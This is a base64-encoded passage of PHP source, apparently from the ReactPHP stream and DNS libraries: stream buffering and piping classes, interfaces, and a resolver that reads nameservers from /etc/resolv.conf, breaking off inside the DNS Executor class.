ICAgICAgICAvLyBidXQgY2FuIGxvc2UgZGF0YSB1bmRlciBsb2FkIHdpdGggbm8gd2F5IHRvIHJlY292ZXIgaXQKCiAgICAgICAgJGRlc3QtPmVtaXQoJ3BpcGUnLCBhcnJheSgkc291cmNlKSk7CgogICAgICAgICRzb3VyY2UtPm9uKCdkYXRhJywgZnVuY3Rpb24gKCRkYXRhKSB1c2UgKCRzb3VyY2UsICRkZXN0KSB7CiAgICAgICAgICAgICRmZWVkTW9yZSA9ICRkZXN0LT53cml0ZSgkZGF0YSk7CgogICAgICAgICAgICBpZiAoZmFsc2UgPT09ICRmZWVkTW9yZSkgewogICAgICAgICAgICAgICAgJHNvdXJjZS0+cGF1c2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0pOwoKICAgICAgICAkZGVzdC0+b24oJ2RyYWluJywgZnVuY3Rpb24gKCkgdXNlICgkc291cmNlKSB7CiAgICAgICAgICAgICRzb3VyY2UtPnJlc3VtZSgpOwogICAgICAgIH0pOwoKICAgICAgICAkZW5kID0gaXNzZXQoJG9wdGlvbnNbJ2VuZCddKSA/ICRvcHRpb25zWydlbmQnXSA6IHRydWU7CiAgICAgICAgaWYgKCRlbmQgJiYgJHNvdXJjZSAhPT0gJGRlc3QpIHsKICAgICAgICAgICAgJHNvdXJjZS0+b24oJ2VuZCcsIGZ1bmN0aW9uICgpIHVzZSAoJGRlc3QpIHsKICAgICAgICAgICAgICAgICRkZXN0LT5lbmQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfQogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZm9yd2FyZEV2ZW50cygkc291cmNlLCAkdGFyZ2V0LCBhcnJheSAkZXZlbnRzKQogICAgewogICAgICAgIGZvcmVhY2ggKCRldmVudHMgYXMgJGV2ZW50KSB7CiAgICAgICAgICAgICRzb3VyY2UtPm9uKCRldmVudCwgZnVuY3Rpb24gKCkgdXNlICgkZXZlbnQsICR0YXJnZXQpIHsKICAgICAgICAgICAgICAgICR0YXJnZXQtPmVtaXQoJGV2ZW50LCBmdW5jX2dldF9hcmdzKCkpOwogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTdHJlYW07Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlcjsKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlOwoKLyoqIEBldmVudCBmdWxsLWRyYWluICovCmNsYXNzIEJ1ZmZlciBleHRlbmRzIEV2ZW50RW1pdHRlciBpbXBsZW1lbnRzIFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlCnsKICAgIHB1YmxpYyAkc3RyZWFtOwogICAgcHVibGljICRsaXN0ZW5pbmcgPSBmYWxzZTsKICAgIHB1YmxpYyAkc29mdExpbWl0ID0gMjA0ODsKICAgIHByaXZhdGUgJHdyaXRhYmxlID0gdHJ1ZTsKICAgIHByaXZhdGUgJGxvb3A7CiAgICBwcml2YXRlICRkYXRhID0gJyc7CiAgICBwcml2YXRlICRsYXN0RXJyb3IgPSBhcnJheSgKICAgICAgICAnbnVtYmVyJyAgPT4gMCwKICAgICAgICAnbWVzc2FnZScgPT4gJycsCiAgICAgICAgJ2ZpbGUnICAgID0+ICcnLAogICAgICAgICdsaW5lJyAgICA9PiAwLAogICAgKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHN0cmVhbSwgTG9vcEludGVyZmFjZSAkbG9vcCkKICAgIHsKICAgICAgICAkdGhpcy0+c3RyZWFtID0gJHN0cmVhbTsKICAgICAgICAkdGhpcy0+bG9vcCA9ICRsb29wOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1dyaXRhYmxlKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPndyaXRhYmxlOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB3cml0ZSgkZGF0YSkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT53cml0YWJsZSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+ZGF0YSAuPSAkZGF0YTsKCiAgICAgICAgaWYgKCEkdGhpcy0+bGlzdGVuaW5nKSB7CiAgICAgICAgICAgICR0aGlzLT5saXN0ZW5pbmcgPSB0cnVlOwoKICAgICAgICAgICAgJHRoaXMtPmxvb3AtPmFkZFdyaXRlU3RyZWFtKCR0aGlzLT5zdHJlYW0sIGFycmF5KCR0aGlzLCAnaGFuZGxlV3JpdGUnKSk7CiAgICAgICAgfQoKICAgICAgICAkYmVsb3dTb2Z0TGltaXQgPSBzdHJsZW4oJHRoaXMtPmRhdGEpIDwgJHRoaXMtPnNvZnRMaW1pdDsKCiAgICAgICAgcmV0dXJuICRiZWxvd1NvZnRMaW1pdDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5kKCRkYXRhID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAobnVsbCAhPT0gJGRhdGEpIHsKICAgICAgICAgICAgJHRoaXMtPndyaXRlKCRkYXRhKTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT53cml0YWJsZSA9IGZhbHNlOwoKICAgICAgICBpZiAoJHRoaXMtPmxpc3RlbmluZykgewogICAgICAgICAgICAkdGhpcy0+b24oJ2Z1bGwtZHJhaW4nLCBhcnJheSgkdGhpcywgJ2Nsb3NlJykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5jbG9zZSgpOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xvc2UoKQogICAgewogICAgICAgICR0aGlzLT53cml0YWJsZSA9IGZhbHNlOwogICAgICAgICR0aGlzLT5saXN0ZW5pbmcgPSBmYWxzZTsKICAgICAgICAkdGhpcy0+ZGF0YSA9ICcnOwoKICAgICAgICAkdGhpcy0+ZW1pdCgnY2xvc2UnKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFuZGxlV3JpdGUoKQogICAgewogICAgICAgIGlmICghaXNfcmVzb3VyY2UoJHRoaXMtPnN0cmVhbSkgfHwgZmVvZigkdGhpcy0+c3RyZWFtKSkgewogICAgICAgICAgICAkdGhpcy0+ZW1pdCgnZXJyb3InLCBhcnJheShuZXcgXFJ1bnRpbWVFeGNlcHRpb24oJ1RyaWVkIHRvIHdyaXRlIHRvIGNsb3NlZCBvciBpbnZhbGlkIHN0cmVhbS4nKSkpOwoKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoYXJyYXkoJHRoaXMsICdlcnJvckhhbmRsZXInKSk7CgogICAgICAgICRzZW50ID0gZndyaXRlKCR0aGlzLT5zdHJlYW0sICR0aGlzLT5kYXRhKTsKCiAgICAgICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7CgogICAgICAgIGlmIChmYWxzZSA9PT0gJHNlbnQpIHsKICAgICAgICAgICAgJHRoaXMtPmVtaXQoJ2Vycm9yJywgYXJyYXkobmV3IFxFcnJvckV4Y2VwdGlvbigKICAgICAgICAgICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ21lc3NhZ2UnXSwKICAgICAgICAgICAgICAgIDAsCiAgICAgICAgICAgICAgICAkdGhpcy0+bGFzdEVycm9yWydudW1iZXInXSwKICAgICAgICAgICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ2ZpbGUnXSwKICAgICAgICAgICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ2xpbmUnXQogICAgICAgICAgICApKSk7CgogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkbGVuID0gc3RybGVuKCR0aGlzLT5kYXRhKTsKICAgICAgICBpZiAoJGxlbiA+PSAkdGhpcy0+c29mdExpbWl0ICYmICRsZW4gLSAkc2VudCA8ICR0aGlzLT5zb2Z0TGltaXQpIHsKICAgICAgICAgICAgJHRoaXMtPmVtaXQoJ2RyYWluJyk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+ZGF0YSA9IChzdHJpbmcpIHN1YnN0cigkdGhpcy0+ZGF0YSwgJHNlbnQpOwoKICAgICAgICBpZiAoMCA9PT0gc3RybGVuKCR0aGlzLT5kYXRhKSkgewogICAgICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlV3JpdGVTdHJlYW0oJHRoaXMtPnN0cmVhbSk7CiAgICAgICAgICAgICR0aGlzLT5saXN0ZW5pbmcgPSBmYWxzZTsKCiAgICAgICAgICAgICR0aGlzLT5lbWl0KCdmdWxsLWRyYWluJyk7CiAgICAgICAgfQogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZXJyb3JIYW5kbGVyKCRlcnJubywgJGVycnN0ciwgJGVycmZpbGUsICRlcnJsaW5lKQogICAgewogICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ251bWJlciddICA9ICRlcnJubzsKICAgICAgICAkdGhpcy0+bGFzdEVycm9yWydtZXNzYWdlJ10gPSAkZXJyc3RyOwogICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ2ZpbGUnXSAgICA9ICRlcnJmaWxlOwogICAgICAgICR0aGlzLT5sYXN0RXJyb3JbJ2xpbmUnXSAgICA9ICRlcnJsaW5lOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU3RyZWFtOwoKdXNlIEV2ZW5lbWVudFxFdmVudEVtaXR0ZXI7CnVzZSBSZWFjdFxFdmVudExvb3BcTG9vcEludGVyZmFjZTsKCmNsYXNzIFN0cmVhbSBleHRlbmRzIEV2ZW50RW1pdHRlciBpbXBsZW1lbnRzIFJlYWRhYmxlU3RyZWFtSW50ZXJmYWNlLCBXcml0YWJsZVN0cmVhbUludGVyZmFjZQp7CiAgICBwdWJsaWMgJGJ1ZmZlclNpemUgPSA0MDk2OwogICAgcHVibGljICRzdHJlYW07CiAgICBwcm90ZWN0ZWQgJHJlYWRhYmxlID0gdHJ1ZTsKICAgIHByb3RlY3RlZCAkd3JpdGFibGUgPSB0cnVlOwogICAgcHJvdGVjdGVkICRjbG9zaW5nID0gZmFsc2U7CiAgICBwcm90ZWN0ZWQgJGxvb3A7CiAgICBwcm90ZWN0ZWQgJGJ1ZmZlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHN0cmVhbSwgTG9vcEludGVyZmFjZSAkbG9vcCkKICAgIHsKICAgICAgICAkdGhpcy0+c3RyZWFtID0gJHN0cmVhbTsKICAgICAgICAkdGhpcy0+bG9vcCA9ICRsb29wOwogICAgICAgICR0aGlzLT5idWZmZXIgPSBuZXcgQnVmZmVyKCR0aGlzLT5zdHJlYW0sICR0aGlzLT5sb29wKTsKCiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgJHRoaXMtPmJ1ZmZlci0+b24oJ2Vycm9yJywgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkdGhhdCkgewogICAgICAgICAgICAkdGhhdC0+ZW1pdCgnZXJyb3InLCBhcnJheSgkZXJyb3IsICR0aGF0KSk7CiAgICAgICAgICAgICR0aGF0LT5jbG9zZSgpOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+YnVmZmVyLT5vbignZHJhaW4nLCBmdW5jdGlvbiAoKSB1c2UgKCR0aGF0KSB7CiAgICAgICAgICAgICR0aGF0LT5lbWl0KCdkcmFpbicpOwogICAgICAgIH0pOwoKICAgICAgICAkdGhpcy0+cmVzdW1lKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGlzUmVhZGFibGUoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+cmVhZGFibGU7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGlzV3JpdGFibGUoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+d3JpdGFibGU7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHBhdXNlKCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcC0+cmVtb3ZlUmVhZFN0cmVhbSgkdGhpcy0+c3RyZWFtKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdW1lKCkKICAgIHsKICAgICAgICAkdGhpcy0+bG9vcC0+YWRkUmVhZFN0cmVhbSgkdGhpcy0+c3RyZWFtLCBhcnJheSgkdGhpcywgJ2hhbmRsZURhdGEnKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKQogICAgewogICAgICAgIGlmICghJHRoaXMtPndyaXRhYmxlKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIHJldHVybiAkdGhpcy0+YnVmZmVyLT53cml0ZSgkZGF0YSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNsb3NlKCkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT53cml0YWJsZSAmJiAhJHRoaXMtPmNsb3NpbmcpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmNsb3NpbmcgPSBmYWxzZTsKCiAgICAgICAgJHRoaXMtPnJlYWRhYmxlID0gZmFsc2U7CiAgICAgICAgJHRoaXMtPndyaXRhYmxlID0gZmFsc2U7CgogICAgICAgICR0aGlzLT5lbWl0KCdlbmQnLCBhcnJheSgkdGhpcykpOwogICAgICAgICR0aGlzLT5lbWl0KCdjbG9zZScsIGFycmF5KCR0aGlzKSk7CiAgICAgICAgJHRoaXMtPmxvb3AtPnJlbW92ZVN0cmVhbSgkdGhpcy0+c3RyZWFtKTsKICAgICAgICAkdGhpcy0+YnVmZmVyLT5yZW1vdmVBbGxMaXN0ZW5lcnMoKTsKICAgICAgICAkdGhpcy0+cmVtb3ZlQWxsTGlzdGVuZXJzKCk7CgogICAgICAgICR0aGlzLT5oYW5kbGVDbG9zZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBlbmQoJGRhdGEgPSBudWxsKQogICAgewogICAgICAgIGlmICghJHRoaXMtPndyaXRhYmxlKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5jbG9zaW5nID0gdHJ1ZTsKCiAgICAgICAgJHRoaXMtPnJlYWRhYmxlID0gZmFsc2U7CiAgICAgICAgJHRoaXMtPndyaXRhYmxlID0gZmFsc2U7CgogICAgICAgICR0aGF0ID0gJHRoaXM7CgogICAgICAgICR0aGlzLT5idWZmZXItPm9uKCdjbG9zZScsIGZ1bmN0aW9uICgpIHVzZSAoJHRoYXQpIHsKICAgICAgICAgICAgJHRoYXQtPmNsb3NlKCk7CiAgICAgICAgfSk7CgogICAgICAgICR0aGlzLT5idWZmZXItPmVuZCgkZGF0YSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHBpcGUoV3JpdGFibGVTdHJlYW1JbnRlcmZhY2UgJGRlc3QsIGFycmF5ICRvcHRpb25zID0gYXJyYXkoKSkKICAgIHsKICAgICAgICBVdGlsOjpwaXBlKCR0aGlzLCAkZGVzdCwgJG9wdGlvbnMpOwoKICAgICAgICByZXR1cm4gJGRlc3Q7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZURhdGEoJHN0cmVhbSkKICAgIHsKICAgICAgICAkZGF0YSA9IGZyZWFkKCRzdHJlYW0sICR0aGlzLT5idWZmZXJTaXplKTsKCiAgICAgICAgJHRoaXMtPmVtaXQoJ2RhdGEnLCBhcnJheSgkZGF0YSwgJHRoaXMpKTsKCiAgICAgICAgaWYgKCFpc19yZXNvdXJjZSgkc3RyZWFtKSB8fCBmZW9mKCRzdHJlYW0pKSB7CiAgICAgICAgICAgICR0aGlzLT5lbmQoKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZUNsb3NlKCkKICAgIHsKICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnN0cmVhbSkpIHsKICAgICAgICAgICAgZmNsb3NlKCR0aGlzLT5zdHJlYW0pOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0QnVmZmVyKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmJ1ZmZlcjsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFN0cmVhbTsKCnVzZSBFdmVuZW1lbnRcRXZlbnRFbWl0dGVySW50ZXJmYWNlOwoKLyoqCiAqIEBldmVudCBkYXRhCiAqIEBldmVudCBlbmQKICogQGV2ZW50IGVycm9yCiAqIEBldmVudCBjbG9zZQogKi8KaW50ZXJmYWNlIFJlYWRhYmxlU3RyZWFtSW50ZXJmYWNlIGV4dGVuZHMgU3RyZWFtSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1JlYWRhYmxlKCk7CiAgICBwdWJsaWMgZnVuY3Rpb24gcGF1c2UoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiByZXN1bWUoKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBwaXBlKFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlICRkZXN0LCBhcnJheSAkb3B0aW9ucyA9IGFycmF5KCkpOwp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU3RyZWFtOwoKdXNlIEV2ZW5lbWVudFxFdmVudEVtaXR0ZXJJbnRlcmZhY2U7CgovKioKICogQGV2ZW50IGRyYWluCiAqIEBldmVudCBlcnJvcgogKiBAZXZlbnQgY2xvc2UKICogQGV2ZW50IHBpcGUKICovCmludGVyZmFjZSBXcml0YWJsZVN0cmVhbUludGVyZmFjZSBleHRlbmRzIFN0cmVhbUludGVyZmFjZQp7CiAgICBwdWJsaWMgZnVuY3Rpb24gaXNXcml0YWJsZSgpOwogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKTsKICAgIHB1YmxpYyBmdW5jdGlvbiBlbmQoJGRhdGEgPSBudWxsKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFN0cmVhbTsKCnVzZSBFdmVuZW1lbnRcRXZlbnRFbWl0dGVySW50ZXJmYWNlOwoKLy8gVGhpcyBjbGFzcyBleGlzdHMgYmVjYXVzZSBSZWFkYWJsZVN0cmVhbUludGVyZmFjZSBhbmQgV3JpdGFibGVTdHJlYW1JbnRlcmZhY2UKLy8gIGJvdGggbmVlZCBjbG9zZSBtZXRob2RzLgovLyBJbiBQSFAgPD0gNS4zLjggYSBjbGFzcyBjYW4gbm90IGltcGxlbWVudCAyIGludGVyZmFjZXMgd2l0aCBjb2luY2lkZW50YWwgbWF0Y2hpbmcgbWV0aG9kcwppbnRlcmZhY2UgU3RyZWFtSW50ZXJmYWNlIGV4dGVuZHMgRXZlbnRFbWl0dGVySW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBjbG9zZSgpOwp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXENvbmZpZzsKCmNsYXNzIENvbmZpZwp7CiAgICBwdWJsaWMgJG5hbWVzZXJ2ZXJzID0gYXJyYXkoKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XERuc1xDb25maWc7Cgp1c2UgUmVhY3RcRXZlbnRMb29wXExvb3BJbnRlcmZhY2U7CnVzZSBSZWFjdFxQcm9taXNlXERlZmVycmVkOwp1c2UgUmVhY3RcUHJvbWlzZVxXaGVuOwp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKCmNsYXNzIEZpbGVzeXN0ZW1GYWN0b3J5CnsKICAgIHByaXZhdGUgJGxvb3A7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KExvb3BJbnRlcmZhY2UgJGxvb3ApCiAgICB7CiAgICAgICAgJHRoaXMtPmxvb3AgPSAkbG9vcDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMKICAgICAgICAgICAgLT5sb2FkRXRjUmVzb2x2Q29uZigkZmlsZW5hbWUpCiAgICAgICAgICAgIC0+dGhlbihhcnJheSgkdGhpcywgJ3BhcnNlRXRjUmVzb2x2Q29uZicpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VFdGNSZXNvbHZDb25mKCRjb250ZW50cykKICAgIHsKICAgICAgICAkbmFtZXNlcnZlcnMgPSBhcnJheSgpOwoKICAgICAgICAkY29udGVudHMgPSBwcmVnX3JlcGxhY2UoJy9eIy8nLCAnJywgJGNvbnRlbnRzKTsKICAgICAgICAkbGluZXMgPSBwcmVnX3NwbGl0KCcvXHI/XG4vaXMnLCAkY29udGVudHMpOwogICAgICAgIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15uYW1lc2VydmVyICguKykvJywgJGxpbmUsICRtYXRjaCkpIHsKICAgICAgICAgICAgICAgICRuYW1lc2VydmVyc1tdID0gJG1hdGNoWzFdOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkY29uZmlnID0gbmV3IENvbmZpZygpOwogICAgICAgICRjb25maWctPm5hbWVzZXJ2ZXJzID0gJG5hbWVzZXJ2ZXJzOwoKICAgICAgICByZXR1cm4gV2hlbjo6cmVzb2x2ZSgkY29uZmlnKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9hZEV0Y1Jlc29sdkNvbmYoJGZpbGVuYW1lKQogICAgewogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gV2hlbjo6cmVqZWN0KG5ldyBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCJUaGUgZmlsZW5hbWUgZm9yIC9ldGMvcmVzb2x2LmNvbmYgZ2l2ZW4gZG9lcyBub3QgZXhpc3Q6ICRmaWxlbmFtZSIpKTsKICAgICAgICB9CgogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRkZWZlcnJlZCA9IG5ldyBEZWZlcnJlZCgpOwoKICAgICAgICAgICAgJGZkID0gZm9wZW4oJGZpbGVuYW1lLCAncicpOwogICAgICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRmZCwgMCk7CgogICAgICAgICAgICAkY29udGVudHMgPSAnJzsKCiAgICAgICAgICAgICRzdHJlYW0gPSBuZXcgU3RyZWFtKCRmZCwgJHRoaXMtPmxvb3ApOwogICAgICAgICAgICAkc3RyZWFtLT5vbignZGF0YScsIGZ1bmN0aW9uICgkZGF0YSkgdXNlICgmJGNvbnRlbnRzKSB7CiAgICAgICAgICAgICAgICAkY29udGVudHMgLj0gJGRhdGE7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAkc3RyZWFtLT5vbignZW5kJywgZnVuY3Rpb24gKCkgdXNlICgmJGNvbnRlbnRzLCAkZGVmZXJyZWQpIHsKICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVzb2x2ZSgkY29udGVudHMpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJHN0cmVhbS0+b24oJ2Vycm9yJywgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkZGVmZXJyZWQpIHsKICAgICAgICAgICAgICAgICRkZWZlcnJlZC0+cmVqZWN0KCRlcnJvcik7CiAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlamVjdCgkZSk7CiAgICAgICAgfQogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXFF1ZXJ5OwoKY2xhc3MgVGltZW91dEV4Y2VwdGlvbiBleHRlbmRzIFxFeGNlcHRpb24Kewp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXFF1ZXJ5OwoKdXNlIFJlYWN0XERuc1xNb2RlbFxNZXNzYWdlOwp1c2UgUmVhY3RcRG5zXE1vZGVsXFJlY29yZDsKCmNsYXNzIFJlY29yZEJhZwp7CiAgICBwcml2YXRlICRyZWNvcmRzID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRjdXJyZW50VGltZSwgUmVjb3JkICRyZWNvcmQpCiAgICB7CiAgICAgICAgJHRoaXMtPnJlY29yZHNbJHJlY29yZC0+ZGF0YV0gPSBhcnJheSgkY3VycmVudFRpbWUgKyAkcmVjb3JkLT50dGwsICRyZWNvcmQpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBhbGwoKQogICAgewogICAgICAgIHJldHVybiBhcnJheV92YWx1ZXMoYXJyYXlfbWFwKAogICAgICAgICAgICBmdW5jdGlvbiAoJHZhbHVlKSB7CiAgICAgICAgICAgICAgICBsaXN0KCRleHBpcmVzQXQsICRyZWNvcmQpID0gJHZhbHVlOwogICAgICAgICAgICAgICAgcmV0dXJuICRyZWNvcmQ7CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICR0aGlzLT5yZWNvcmRzCiAgICAgICAgKSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnNcUXVlcnk7CgppbnRlcmZhY2UgRXhlY3V0b3JJbnRlcmZhY2UKewogICAgcHVibGljIGZ1bmN0aW9uIHF1ZXJ5KCRuYW1lc2VydmVyLCBRdWVyeSAkcXVlcnkpOwp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcRG5zXFF1ZXJ5OwoKY2xhc3MgUXVlcnkKewogICAgcHVibGljICRuYW1lOwogICAgcHVibGljICR0eXBlOwogICAgcHVibGljICRjbGFzczsKICAgIHB1YmxpYyAkY3VycmVudFRpbWU7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRuYW1lLCAkdHlwZSwgJGNsYXNzLCAkY3VycmVudFRpbWUpCiAgICB7CiAgICAgICAgJHRoaXMtPm5hbWUgPSAkbmFtZTsKICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOwogICAgICAgICR0aGlzLT5jbGFzcyA9ICRjbGFzczsKICAgICAgICAkdGhpcy0+Y3VycmVudFRpbWUgPSAkY3VycmVudFRpbWU7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxEbnNcUXVlcnk7Cgp1c2UgUmVhY3RcRG5zXEJhZFNlcnZlckV4Y2VwdGlvbjsKdXNlIFJlYWN0XERuc1xNb2RlbFxNZXNzYWdlOwp1c2UgUmVhY3RcRG5zXFByb3RvY29sXFBhcnNlcjsKdXNlIFJlYWN0XERuc1xQcm90b2NvbFxCaW5hcnlEdW1wZXI7CnVzZSBSZWFjdFxFdmVudExvb3BcTG9vcEludGVyZmFjZTsKdXNlIFJlYWN0XFByb21pc2VcRGVmZXJyZWQ7CnVzZSBSZWFjdFxTb2NrZXRcQ29ubmVjdGlvbjsKCmNsYXNzIEV4ZWN1dG9yIGltcGxlbWVudHMgRXhlY3V0b3JJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkbG9vcDsKICAgIHByaXZhdGUgJHBhcnNlcjsKICAgIHByaXZhdGUgJGR1bXBlcjsKICAgIHByaXZhdGUgJHRpbWVvdXQ7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KExvb3BJbnRlcmZhY2UgJGxvb3AsIFBhcnNlciAkcGFyc2VyLCBCaW5hcnlEdW1wZXIgJGR1bXBlciwgJHRpbWVvdXQgPSA1KQogICAgewogICAgICAgICR0aGlzLT5sb29wID0gJGxvb3A7CiAgICAgICAgJHRoaXMtPnBhcnNlciA9ICRwYXJzZXI7CiAgICAgICAgJHRoaXMtPmR1bXBlciA9ICRkdW1wZXI7CiAgICAgICAgJHRoaXMtPnRpbWVvdXQgPSAkdGltZW91dDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gcXVlcnkoJG5hbWVzZXJ2ZXIsIFF1ZXJ5ICRxdWVyeSkKICAgIHsKICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5wcmVwYXJlUmVxdWVzdCgkcXVlcnkpOwoKICAgICAgICAkcXVlcnlEYXRhID0gJHRoaXMtPmR1bXBlci0+dG9CaW5hcnkoJHJlcXVlc3QpOwogICAgICAgICR0cmFuc3BvcnQgPSBzdHJsZW4oJHF1ZXJ5RGF0YSkgPiA1MTIgPyAndGNwJyA6ICd1ZHAnOwoKICAgICAgICByZXR1cm4gJHRoaXMtPmRvUXVlcnkoJG5hbWVzZXJ2ZXIsICR0cmFuc3BvcnQsICRxdWVyeURhdGEsICRxdWVyeS0+bmFtZSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHByZXBhcmVSZXF1ZXN0KFF1ZXJ5ICRxdWVyeSkKICAgIHsKICAgICAgICAkcmVxdWVzdCA9IG5ldyBNZXNzYWdlKCk7CiAgICAgICAgJHJlcXVlc3QtPmhlYWRlci0+c2V0KCdpZCcsICR0aGlzLT5nZW5lcmF0ZUlkKCkpOwogICAgICAgICRyZXF1ZXN0LT5oZWFkZXItPnNldCgncmQnLCAxKTsKICAgICAgICAkcmVxdWVzdC0+cXVlc3Rpb25zW10gPSAoYXJy